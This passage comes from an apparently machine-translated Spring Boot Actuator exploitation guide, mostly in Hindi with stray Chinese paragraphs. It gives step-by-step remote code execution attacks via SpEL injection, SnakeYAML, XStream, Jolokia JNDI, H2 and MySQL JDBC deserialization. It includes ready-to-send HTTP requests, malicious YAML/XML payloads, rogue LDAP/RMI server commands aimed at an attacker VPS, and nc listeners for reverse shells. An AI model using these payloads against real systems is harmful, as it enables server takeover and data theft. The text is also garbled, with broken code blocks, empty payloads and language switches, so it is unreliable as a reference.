    3. इसमें ${} से घिरी सामग्री को org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration वर्ग की resolvePlaceholder विधि द्वारा SpEL अभिव्यक्ति के रूप में पार्स और निष्पादित किया जाएगा, जिसके परिणामस्वरूप RCE भेद्यता होगी

    भेद्यता विश्लेषण:

    ​ SpringBoot SpEL अभिव्यक्ति इंजेक्शन भेद्यता - विश्लेषण और पुनरुत्पादन

    भेद्यता वातावरण:

    repository/springboot-spel-rce

    सामान्य पहुँच:``` http://127.0.0.1:9091/article?id=66

    root@kitploit:~
    `open -a Calculator` कमांड निष्पादित करें:```java
    http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
    

    0x02:spring cloud SnakeYAML RCE

    उपयोग की शर्तें:

    • लक्ष्य वेबसाइट के /env इंटरफ़ेस पर POST अनुरोध भेजकर गुण सेट किए जा सकते हैं
    • लक्ष्य वेबसाइट के /refresh इंटरफ़ेस पर POST अनुरोध भेजकर कॉन्फ़िगरेशन रिफ़्रेश किया जा सकता है (spring-boot-starter-actuator निर्भरता मौजूद होनी चाहिए)
    • लक्ष्य की spring-cloud-starter संस्करण < 1.3.0.RELEASE होना चाहिए
    • लक्ष्य हमलावर के HTTP सर्वर तक अनुरोध भेज सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)

    उपयोग विधि:

    चरण 1: yml और jar फ़ाइलों को होस्ट करें

    अपने नियंत्रण वाली VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट के रूप में सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें।```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    वेबसाइट की रूट डायरेक्टरी में `yml` एक्सटेंशन वाली फ़ाइल `example.yml` रखें, सामग्री इस प्रकार है:```yaml
    !!javax.script.ScriptEngineManager [
      !!java.net.URLClassLoader [[
        !!java.net.URL ["http://your-vps-ip/example.jar"]
      ]]
    ]
    

    在网站根目录下放置后缀为 jar 的文件 example.jar,内容是要执行的代码,代码编写及编译方式参考 yaml-payload。

    步骤二: 设置 spring.cloud.bootstrap.location 属性

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.cloud.bootstrap.location=http://your-vps-ip/example.yml

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/example.yml"}
    
    चरण तीन: कॉन्फ़िगरेशन रिफ्रेश करें

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    भेद्यता सिद्धांत:

    1. spring.cloud.bootstrap.location गुण एक बाहरी दुर्भावनापूर्ण yml फ़ाइल के URL पते पर सेट किया जाता है
    2. refresh लक्ष्य मशीन को रिमोट HTTP सर्वर पर yml फ़ाइल का अनुरोध करने के लिए ट्रिगर करता है, जिससे इसकी सामग्री प्राप्त होती है
    3. SnakeYAML में डीसीरियलाइज़ेशन भेद्यता होने के कारण, दुर्भावनापूर्ण yml सामग्री को पार्स करते समय निर्दिष्ट क्रियाएँ निष्पादित होती हैं
    4. पहले java.net.URL को रिमोट HTTP सर्वर से दुर्भावनापूर्ण jar फ़ाइल खींचने के लिए ट्रिगर करता है
    5. फिर jar फ़ाइल में javax.script.ScriptEngineFactory इंटरफ़ेस को लागू करने वाले वर्ग की खोज करता है और उसे इंस्टेंशिएट करता है
    6. वर्ग को इंस्टेंशिएट करते समय दुर्भावनापूर्ण कोड निष्पादित होता है, जिससे RCE भेद्यता उत्पन्न होती है

    भेद्यता विश्लेषण:

    ​ Exploit Spring Boot Actuator 之 Spring Cloud Env 学习笔记

    भेद्यता वातावरण:

    repository/springcloud-snakeyaml-rce

    सामान्य पहुँच:``` http://127.0.0.1:9092/env

    root@kitploit:~
    ### 0x03:eureka xstream deserialization RCE
    
    #### उपयोग की शर्तें:
    
    - लक्ष्य वेबसाइट के `/env` इंटरफ़ेस पर POST अनुरोध करके गुण सेट कर सकते हैं
    - लक्ष्य वेबसाइट के `/refresh` इंटरफ़ेस पर POST अनुरोध करके कॉन्फ़िगरेशन रिफ्रेश कर सकते हैं (`spring-boot-starter-actuator` निर्भरता मौजूद है)
    - लक्ष्य द्वारा उपयोग किया गया `eureka-client` < 1.8.7 (आमतौर पर `spring-cloud-starter-netflix-eureka-client` निर्भरता में शामिल)
    - लक्ष्य हमलावर के HTTP सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुंच सकता है)
    
    
    
    #### उपयोग विधि:
    
    ##### चरण 1:दुर्भावनापूर्ण XStream पेलोड का जवाब देने वाली वेबसाइट स्थापित करना
    
    Flask पर निर्भर और आवश्यकताओं को पूरा करने वाला एक [python स्क्रिप्ट उदाहरण](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-xstream-rce.py) प्रदान करता है, जिसका उद्देश्य लक्ष्य Linux मशीन पर मौजूद python का उपयोग करके रिवर्स शेल प्राप्त करना है।
    
    अपने नियंत्रित सर्वर पर python का उपयोग करके उपरोक्त स्क्रिप्ट चलाएं, और वास्तविक स्थिति के अनुसार स्क्रिप्ट में रिवर्स शेल का ip पता और पोर्ट नंबर संशोधित करें।
    
    
    
    ##### चरण 2:रिवर्स शेल के पोर्ट को सुनना
    
    आमतौर पर nc का उपयोग करके पोर्ट को सुनें और रिवर्स शेल की प्रतीक्षा करें।```bash
    nc -lvp 443
    
    चरण 3: eureka.client.serviceUrl.defaultZone गुण सेट करना

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
    
    चरण चार: कॉन्फ़िगरेशन रीफ़्रेश करें

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    दोष सिद्धांत:

    1. eureka.client.serviceUrl.defaultZone प्रॉपर्टी को एक दुर्भावनापूर्ण बाहरी eureka सर्वर URL पते पर सेट किया गया है
    2. refresh लक्ष्य मशीन को दूरस्थ URL का अनुरोध करने के लिए ट्रिगर करता है, और पहले से स्थापित फर्जी eureka सर्वर एक दुर्भावनापूर्ण payload लौटाएगा
    3. लक्ष्य मशीन के संबंधित डिपेंडेंसी payload को पार्स करते हैं, जो XStream डिसीरियलाइज़ेशन को ट्रिगर करता है, जिसके परिणामस्वरूप RCE दोष उत्पन्न होता है

    दोष विश्लेषण:

    ​ Spring Boot Actuator अनधिकृत पहुंच से getshell तक

    दोष वातावरण:

    repository/springboot-eureka-xstream-rce

    सामान्य पहुंच:``` http://127.0.0.1:9093/env

    root@kitploit:~
    ### 0x04:jolokia logback JNDI RCE
    
    #### उपयोग की शर्तें:
    
    - लक्ष्य वेबसाइट में `/jolokia` या `/actuator/jolokia` इंटरफ़ेस मौजूद है
    - लक्ष्य ने `jolokia-core` निर्भरता का उपयोग किया है (संस्करण आवश्यकता अज्ञात है) और वातावरण में संबंधित MBean मौजूद है
    - लक्ष्य हमलावर के HTTP सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)
    - सामान्य JNDI इंजेक्शन लक्ष्य JDK संस्करण से प्रभावित होता है, jdk < 6u201/7u191/8u182/11.0.1(LDAP), लेकिन संबंधित वातावरण को बायपास किया जा सकता है
    
    #### उपयोग विधि:
    
    ##### चरण 1:मौजूदा MBeans देखें
    
    `/jolokia/list` इंटरफ़ेस तक पहुँचें, जाँचें कि `ch.qos.logback.classic.jmx.JMXConfigurator` और `reloadByURL` कीवर्ड मौजूद हैं या नहीं।
    
    ##### चरण 2:xml फ़ाइल होस्ट करें
    
    अपने नियंत्रित VPS मशीन पर एक सरल HTTP सर्वर शुरू करें, पोर्ट जितना संभव हो सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करें```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    रूट निर्देशिका में xml में समाप्त होने वाली example.xml फ़ाइल रखें, सामग्री इस प्रकार है:```xml

    root@kitploit:~
    ##### चरण तीन:निष्पादित करने के लिए Java कोड तैयार करें
    
    शेल को रिबाउंड करने के लिए अनुकूलित [Java उदाहरण कोड](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java)  `JNDIObject.java` लिखें,
    
    निम्न संस्करण JDK के साथ संगत तरीके से संकलित करें:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    फिर उत्पन्न JNDIObject.class फ़ाइल को चरण दो में उल्लिखित वेबसाइट रूट डायरेक्टरी में कॉपी करें।

    चरण चार: दुर्भावनापूर्ण ldap सेवा स्थापित करें

    marshalsec डाउनलोड करें और निम्नलिखित कमांड का उपयोग करके संबंधित ldap सेवा स्थापित करें:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

    root@kitploit:~
    ##### चरण पाँच: रिवर्स shell के पोर्ट को सुनें
    
    आमतौर पर nc का उपयोग करके पोर्ट को सुनें, रिवर्स shell की प्रतीक्षा करें```bash
    nc -lv 443
    
    चरण छह: बाहरी URL पते से लॉग कॉन्फ़िगरेशन फ़ाइल लोड करें

    ⚠️ यदि लक्ष्य ने example.xml का सफलतापूर्वक अनुरोध किया और marshalsec ने भी लक्ष्य का अनुरोध प्राप्त किया, लेकिन लक्ष्य ने JNDIObject.class का अनुरोध नहीं किया, तो संभावना है कि लक्ष्य वातावरण का jdk संस्करण बहुत अधिक है, जिसके कारण JNDI का उपयोग विफल हो जाता है।

    अपने वास्तविक your-vps-ip पते को बदलकर URL तक पहुंचें और भेद्यता को ट्रिगर करें:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

    root@kitploit:~
    #### भेद्यता सिद्धांत:
    
    1. भेद्यता को ट्रिगर करने वाले URL तक सीधे पहुंचना, जो jolokia के माध्यम से `ch.qos.logback.classic.jmx.JMXConfigurator` क्लास की `reloadByURL` विधि को कॉल करने के समान है।
    2. लक्ष्य मशीन बाहरी लॉग कॉन्फ़िगरेशन फ़ाइल URL पते का अनुरोध करती है, और दुर्भावनापूर्ण xml फ़ाइल सामग्री प्राप्त करती है।
    3. लक्ष्य मशीन xml फ़ाइल को पार्स करने के लिए `saxParser.parse` का उपयोग करती है (यहां XXE भेद्यता उत्पन्न होती है)।
    4. xml फ़ाइल `logback` डिपेंडेंसी के `insertFromJNDI` टैग का उपयोग करके बाहरी JNDI सर्वर पता सेट करती है।
    5. लक्ष्य मशीन दुर्भावनापूर्ण JNDI सर्वर का अनुरोध करती है, जिससे JNDI इंजेक्शन होता है और RCE भेद्यता उत्पन्न होती है।
    
    #### भेद्यता विश्लेषण:
    
    [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    #### भेद्यता वातावरण:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    सामान्य पहुंच:```
    http://127.0.0.1:9094/env
    

    0x05: jolokia Realm JNDI RCE

    उपयोग शर्तें:

    • लक्ष्य वेबसाइट पर /jolokia या /actuator/jolokia इंटरफ़ेस मौजूद है
    • लक्ष्य jolokia-core निर्भरता का उपयोग करता है (संस्करण आवश्यकता वर्तमान में अज्ञात है) और वातावरण में संबंधित MBean मौजूद हैं
    • लक्ष्य हमलावर के सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकते हैं)
    • सामान्य JNDI इंजेक्शन लक्ष्य JDK संस्करण से प्रभावित होता है, jdk < 6u141/7u131/8u121 (RMI), लेकिन संबंधित वातावरण को बायपास किया जा सकता है

    उपयोग विधि:

    चरण 1: मौजूदा MBeans देखें

    /jolokia/list इंटरफ़ेस पर जाएँ और देखें कि क्या type=MBeanFactory और createJNDIRealm कीवर्ड मौजूद हैं।

    चरण 2: निष्पादित करने के लिए Java कोड तैयार करें

    रिवर्स शेल प्राप्त करने के लिए अनुकूलित Java उदाहरण कोड JNDIObject.java लिखें।

    चरण 3: class फ़ाइल होस्ट करें

    अपने नियंत्रित VPS मशीन पर एक सरल HTTP सर्वर चालू करें, पोर्ट को सामान्य HTTP सेवा पोर्ट (80, 443) का उपयोग करने का प्रयास करें।```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    将**चरण दो** में संकलित class फ़ाइल को HTTP सर्वर की रूट निर्देशिका में कॉपी करें।
    
    
    
    ##### चरण चार: दुर्भावनापूर्ण RMI सेवा स्थापित करें
    
    [marshalsec](https://github.com/mbechler/marshalsec) डाउनलोड करें और नीचे दिए गए कमांड का उपयोग करके संबंधित RMI सेवा स्थापित करें:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    चरण पाँच: रिवर्स शेल के पोर्ट को सुनना

    सामान्यतः, nc का उपयोग करके पोर्ट को सुनें और रिवर्स शेल की प्रतीक्षा करें।```bash nc -lvp 443

    root@kitploit:~
    ##### चरण छह: दुर्भावनापूर्ण पेलोड भेजें
    
    वास्तविक स्थिति के अनुसार [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) स्क्रिप्ट में लक्ष्य पता, RMI पता, पोर्ट आदि जानकारी संशोधित करें, फिर अपने नियंत्रित सर्वर पर चलाएँ।
    
    
    
    #### भेद्यता सिद्धांत:
    
    1. Jolokia का उपयोग करके `createJNDIRealm` को कॉल करके JNDIRealm बनाएं
    2. `connectionURL` पते को RMI Service URL पर सेट करें
    3. `contextFactory` को `RegistryContextFactory` पर सेट करें
    4. Realm को रोकें
    5. निर्दिष्ट RMI पते पर JNDI इंजेक्शन को ट्रिगर करने के लिए Realm प्रारंभ करें, जिससे RCE भेद्यता उत्पन्न हो
    
    
    
    #### भेद्यता विश्लेषण:
    
    ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
    
    
    
    #### भेद्यता वातावरण:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    सामान्य पहुँच:```
    http://127.0.0.1:9094/env
    

    0x06: restart h2 database query RCE

    उपयोग शर्तें:

    • लक्ष्य वेबसाइट के /env एंडपॉइंट पर POST अनुरोध भेजकर प्रॉपर्टी सेट कर सकते हैं
    • लक्ष्य वेबसाइट के /restart एंडपॉइंट पर POST अनुरोध भेजकर एप्लिकेशन को पुनः प्रारंभ कर सकते हैं
    • com.h2database.h2 डिपेंडेंसी मौजूद है (संस्करण आवश्यकता अभी अज्ञात है)

    उपयोग विधि:

    चरण एक: spring.datasource.hikari.connection-test-query प्रॉपर्टी सेट करें

    ⚠️ नीचे दिए गए payload में 'T5' विधि को हर बार कमांड निष्पादित करने के बाद नाम बदलना होगा (जैसे T6), ताकि इसे पुनः उपयोग के लिए बनाया जा सके, अन्यथा अगली बार restart करने पर भेद्यता ट्रिगर नहीं होगी

    spring 1.x (बिना आउटपुट के कमांड निष्पादन)``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

    root@kitploit:~
    spring 2.x(बिना आउटपुट के कमांड निष्पादन)```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
    चरण २: एप्लिकेशन को पुनरारंभ करें

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    दोष सिद्धांत:

    1. spring.datasource.hikari.connection-test-query गुण एक दुर्भावनापूर्ण CREATE ALIAS कथन पर सेट किया जाता है जो एक कस्टम फ़ंक्शन बनाता है
    2. इसका गुण HikariCP डेटाबेस कनेक्शन पूल के connectionTestQuery कॉन्फ़िगरेशन से मेल खाता है, जो एक नया डेटाबेस कनेक्शन स्थापित होने से पहले निष्पादित SQL कथन को परिभाषित करता है
    3. restart एप्लिकेशन को पुनरारंभ करने पर, एक नया डेटाबेस कनेक्शन स्थापित होगा
    4. यदि SQL कथन में कस्टम फ़ंक्शन पहले निष्पादित नहीं हुआ है, तो वह फ़ंक्शन निष्पादित हो जाएगा, जिससे RCE भेद्यता उत्पन्न होगी

    भेद्यता विश्लेषण:

    ​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

    भेद्यता वातावरण:

    repository/springboot-h2-database-rce

    सामान्य पहुंच:``` http://127.0.0.1:9096/actuator/env

    root@kitploit:~
    ### 0x07:h2 डेटाबेस कंसोल JNDI RCE
    
    #### उपयोग शर्तें:
    
    - `com.h2database.h2` डिपेंडेंसी मौजूद है (संस्करण आवश्यकता अभी ज्ञात नहीं)
    - स्प्रिंग कॉन्फ़िगरेशन में h2 कंसोल सक्षम है `spring.h2.console.enabled=true`
    - लक्ष्य हमलावर के सर्वर से अनुरोध कर सकता है (अनुरोध बाहरी नेटवर्क तक पहुँच सकता है)
    - JNDI इंजेक्शन लक्ष्य JDK संस्करण से प्रभावित होता है, jdk < 6u201/7u191/8u182/11.0.1 (LDAP विधि)
    
    #### उपयोग विधि:
    
    ##### चरण 1: jsessionid प्राप्त करने के लिए रूट तक पहुँचें
    
    लक्ष्य के h2 कंसोल के डिफ़ॉल्ट रूट `/h2-console` तक सीधे पहुँचें, लक्ष्य पृष्ठ `/h2-console/login.jsp?jsessionid=xxxxxx` पर रीडायरेक्ट होगा, वास्तविक `jsessionid=xxxxxx` मान नोट करें।
    
    ##### चरण 2: निष्पादित करने के लिए Java कोड तैयार करें
    
    शेल रिवर्स करने के लिए अनुकूलित [Java नमूना कोड](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) `JNDIObject.java` लिखें,
    
    निम्न संस्करण JDK के साथ संगतता के लिए संकलित करें:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    然后将生成的 JNDIObject.class 文件拷贝到 步骤二 中的网站根目录。

    步骤三:托管 class 文件

    在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    चरण दो में संकलित class फ़ाइल को HTTP सर्वर की रूट डायरेक्टरी में कॉपी करें।
    
    ##### चरण चार: दुर्भावनापूर्ण ldap सेवा स्थापित करें
    
    डाउनलोड करें [marshalsec](https://github.com/mbechler/marshalsec), नीचे दिए गए कमांड का उपयोग करके संबंधित ldap सेवा स्थापित करें:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    चरण 5: रिवर्स शेल के पोर्ट को सुनें

    सामान्यतः nc का उपयोग करके पोर्ट सुनें, रिवर्स शेल की प्रतीक्षा करें।```bash nc -lv 443

    root@kitploit:~
    ##### चरण छह: JNDI इंजेक्शन ट्रिगर करने के लिए पैकेट भेजें
    
    वास्तविक स्थिति के अनुसार, नीचे दिए गए डेटा में `jsessionid=xxxxxx`、`www.example.com` और `ldap://your-vps-ip:1389/JNDIObject` को बदलें```bash
    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
    

    भेद्यता विश्लेषण:

    ​ Spring Boot + H2 डेटाबेस JNDI इंजेक्शन

    भेद्यता वातावरण:

    repository/springboot-h2-database-rce

    सामान्य पहुँच:``` http://127.0.0.1:9096/h2-console

    root@kitploit:~
    ### 0x08:mysql jdbc deserialization RCE
    
    #### शोषण के लिए शर्तें:
    
    - लक्ष्य वेबसाइट के `/env` इंटरफ़ेस पर POST अनुरोध करके प्रॉपर्टी सेट किया जा सकता है
    - लक्ष्य वेबसाइट के `/refresh` इंटरफ़ेस पर POST अनुरोध करके कॉन्फ़िगरेशन रिफ़्रेश किया जा सकता है (`spring-boot-starter-actuator` डिपेंडेंसी मौजूद हो)
    - लक्ष्य वातावरण में `mysql-connector-java` डिपेंडेंसी मौजूद हो
    - लक्ष्य हमलावर के सर्वर पर अनुरोध भेज सकता है (अनुरोध बाहरी नेटवर्क तक जा सके)
    
    
    
    #### शोषण विधि:
    
    ##### चरण 1: वातावरण डिपेंडेंसी देखें
    
    GET अनुरोध `/env` या `/actuator/env` पर भेजें, एनवायरनमेंट वेरिएबल (classpath) में `mysql-connector-java` कीवर्ड खोजें, और उसका वर्ज़न नंबर (5.x या 8.x) नोट करें;
    
    सामान्य डिसीरियलाइज़ेशन गैजेट डिपेंडेंसी जैसे `commons-collections`, `Jdk7u21`, `Jdk8u20` आदि की उपस्थिति के लिए एनवायरनमेंट वेरिएबल खोजें और निरीक्षण करें;
    
    `spring.datasource.url` कीवर्ड खोजें, उसका `value` मान नोट करें, ताकि बाद में उसके सामान्य jdbc url मान को पुनर्स्थापित किया जा सके।
    
    
    
    ##### चरण 2: दुर्भावनापूर्ण rogue mysql सर्वर स्थापित करें
    
    अपने नियंत्रित सर्वर पर [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) स्क्रिप्ट चलाएँ, और [ysoserial](https://github.com/frohoff/ysoserial) का उपयोग करके निष्पादित करने के लिए कमांड को अनुकूलित करें:```bash
    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
    

    स्क्रिप्ट के समान निर्देशिका में payload.ser डिसेरियलाइज़ेशन पेलोड फ़ाइल उत्पन्न करें, जिसका उपयोग स्क्रिप्ट करेगी।

    चरण तीन: spring.datasource.url गुण सेट करें

    ⚠️ इस गुण को संशोधित करने से अस्थायी रूप से वेबसाइट की सभी सामान्य डेटाबेस सेवाएं अनुपलब्ध हो जाएंगी, जिससे व्यवसाय प्रभावित होगा। कृपया सावधानी से कार्य करें!

    mysql-connector-java 5.x संस्करण के लिए गुण मान सेट करें:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    root@kitploit:~
    mysql-connector-java 8.x संस्करण **गुण मान** सेट करता है:```
    jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
    

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.url=对应属性值

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.url","value":"对应属性值"}
    
    चरण चार: कॉन्फ़िगरेशन ताज़ा करें

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    
    चरण पाँच: डेटाबेस क्वेरी ट्रिगर करें

    वेबसाइट के ज्ञात डेटाबेस क्वेरी इंटरफ़ेस तक पहुँचने का प्रयास करें, जैसे: /product/list , या अन्य तरीकों की तलाश करें, स्रोत वेबसाइट को सक्रिय रूप से डेटाबेस क्वेरी करने के लिए प्रेरित करें, फिर भेद्यता ट्रिगर हो जाएगी

    चरण छह: सामान्य jdbc url पुनर्स्थापित करें

    डिसीरियलाइज़ेशन भेद्यता शोषण पूरा होने के बाद, चरण तीन की विधि का उपयोग करके चरण एक में रिकॉर्ड किए गए spring.datasource.url के मूल value मान को पुनर्स्थापित करें

    भेद्यता सिद्धांत:

    1. spring.datasource.url गुण को बाहरी दुर्भावनापूर्ण mysql jdbc url पते पर सेट किया जाता है
    2. refresh रीफ्रेश करने के बाद एक नया spring.datasource.url गुण मान सेट किया जाता है
    3. जब वेबसाइट डेटाबेस क्वेरी जैसी संचालन करती है, तो वह दुर्भावनापूर्ण mysql jdbc url का उपयोग करके नया डेटाबेस कनेक्शन स्थापित करने का प्रयास करेगी
    4. फिर दुर्भावनापूर्ण mysql सर्वर कनेक्शन स्थापित करने के उपयुक्त चरण में डिसीरियलाइज़ेशन पेलोड डेटा वापस भेजेगा
    5. लक्ष्य पर निर्भर mysql-connector-java सेट किए गए गैजेट को डिसीरियलाइज़ करेगा, जिससे RCE भेद्यता उत्पन्न होगी

    भेद्यता विश्लेषण:

    ​ New-Exploit-Technique-In-Java-Deserialization-Attack

    भेद्यता वातावरण:

    application.properties में spring.datasource.url, spring.datasource.username, spring.datasource.password को कॉन्फ़िगर करना आवश्यक है ताकि mysql डेटाबेस से सामान्य रूप से कनेक्ट हो सके, अन्यथा प्रोग्राम शुरू होने पर त्रुटि के साथ बाहर निकल जाएगा

    repository/springboot-mysql-jdbc-rce

    सामान्य पहुँच:``` http://127.0.0.1:9097/actuator/env

    root@kitploit:~
    payload भेजने के बाद भेद्यता ट्रिगर होती है:```
    http://127.0.0.1:9097/product/list
    

    0x09:restart logging.config logback JNDI RCE

    利用条件:

    • 可以 POST 请求目标网站的 /env 接口设置属性
    • 可以 POST 请求目标网站的 /restart 接口重启应用
    • 普通 JNDI 注入受目标 JDK 版本影响,jdk < 6u201/7u191/8u182/11.0.1(LDAP),但相关环境可绕过
    • ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出
    • ⚠️ HTTP 服务器如果返回含有畸形 xml 语法内容的文件,会导致程序异常退出
    • ⚠️ JNDI 服务返回的 object 需要实现 javax.naming.spi.ObjectFactory 接口,否则会导致程序异常退出

    利用方法:

    步骤一:托管 xml 文件

    在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    在根目录放置以 `xml` 结尾的  `example.xml` 文件,实际内容要根据步骤二中使用的 JNDI 服务来确定:```xml
    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
    
    चरण दो: दुर्भावनापूर्ण LDAP सेवा और कोड की होस्टिंग

    लेख का संदर्भ लें, JNDIExploit को संशोधित करें और प्रारंभ करें (अन्य विधियों का भी उपयोग किया जा सकता है):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

    root@kitploit:~
    ##### चरण तीन: logging.config गुण सेट करें
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    logging.config=http://your-vps-ip/example.xml
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"logging.config","value":"http://your-vps-ip/example.xml"}

    root@kitploit:~
    ##### चरण चार: एप्लिकेशन को पुनरारंभ करें
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### दुरुपयोग सिद्धांत:
    
    1. लक्ष्य मशीन `logging.config` प्रॉपर्टी के माध्यम से logback लॉग कॉन्फ़िगरेशन फ़ाइल का URL पता सेट करती है
    2. restart के बाद एप्लिकेशन रीस्टार्ट करने पर, प्रोग्राम निर्दिष्ट URL से दुर्भावनापूर्ण xml फ़ाइल की सामग्री प्राप्त करेगा
    3. लक्ष्य मशीन xml फ़ाइल को पार्स करने के लिए `saxParser.parse` का उपयोग करती है (यहाँ xxe भेद्यता उत्पन्न होती है)
    4. xml फ़ाइल में `logback` डिपेंडेंसी के `insertFormJNDI` टैग का उपयोग करके बाहरी JNDI सर्वर पता सेट किया जाता है
    5. लक्ष्य मशीन दुर्भावनापूर्ण JNDI सर्वर से अनुरोध करती है, जिससे JNDI इंजेक्शन होता है और RCE भेद्यता उत्पन्न होती है
    
    
    
    #### भेद्यता विश्लेषण:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    ​	https://landgrey.me/blog/21/
    
    
    
    #### भेद्यता वातावरण:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    सामान्य पहुँच:```
    http://127.0.0.1:9098/actuator/env
    

    0x0A: restart logging.config groovy RCE

    उपयोग की शर्तें:

